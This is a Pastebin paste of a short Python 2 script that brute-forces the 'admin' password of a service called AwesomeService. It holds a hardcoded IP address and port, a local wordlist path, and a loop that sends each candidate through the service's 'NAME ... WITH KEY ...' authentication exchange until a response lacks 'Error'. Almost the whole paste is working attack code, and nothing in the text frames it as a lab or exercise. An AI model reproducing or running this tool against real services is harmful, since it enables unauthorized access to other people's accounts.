Advertisement
Guest User

brbr

a guest
Nov 27th, 2018
121
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.97 KB | None | 0 0
  1. # This tool is meant to BruteForce AwesomeService.
  2. # The service offers authentication mechanism.
  3.  
  4. # Authentication process:
  5. # -> [Receive Banner] (One time)
  6. # <- "AUTH"
  7. # -> [Receive Text]
  8. # <- "NAME <user> WITH KEY <pass>"
  9. # -> Response
  10. # (Repeat from "AUTH")
  11.  
  12. import socket
  13. from time import asctime
  14.  
  15. WORDLIST_PATH = "C:/Users/tal/awesome_service_bf/assets/passlist.txt"
  16. SERVICE_HOST = "52.59.53.112"
  17. SERVICE_PORT = 80
  18.  
  19. SERVICE_USERNAME = "admin"
  20.  
  21.  
  22. def main():
  23. target = create_service_socket()
  24. passlist = create_wordlist(WORDLIST_PATH)
  25.  
  26. log("Bruteforcing...")
  27. for password in passlist:
  28. target.send("AUTH\n")
  29. target.recv(1024)
  30. target.send("NAME {} WITH KEY {}\n".format(SERVICE_USERNAME, password))
  31. answer = target.recv(1024)
  32. try:
  33. answer.index("Error")
  34. except ValueError as err:
  35. log("Found password: {}".format(password))
  36. break
  37. else:
  38. continue
  39.  
  40.  
  41. def create_service_socket():
  42. log("Connecting to target service...")
  43. service_socket = socket.socket()
  44. try:
  45. service_socket.connect((SERVICE_HOST, SERVICE_PORT))
  46. except socket.error as err:
  47. error("Error connecting to service.", err)
  48. else:
  49. log("Receiving banner...")
  50. log("Input: {}".format(remove_newline(service_socket.recv(1024))))
  51. return service_socket
  52.  
  53.  
  54. def create_wordlist(filepath):
  55. try:
  56. wordlist = open(filepath, "r").read().split('\n')
  57. except IOError as err:
  58. error("Error creating wordlist.", err)
  59. else:
  60. fixed_wordlist = []
  61. for line in wordlist:
  62. fixed_wordlist.append(line.split(' ')[1])
  63. return fixed_wordlist
  64.  
  65.  
  66. def log(msg):
  67. print "[{}] {}".format(asctime(), msg)
  68.  
  69.  
  70. def error(msg, err):
  71. log(msg)
  72. if err:
  73. print err
  74. quit()
  75.  
  76.  
  77. def remove_newline(text):
  78. while text[-1] == '\n':
  79. text = text[:-1]
  80. return text
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement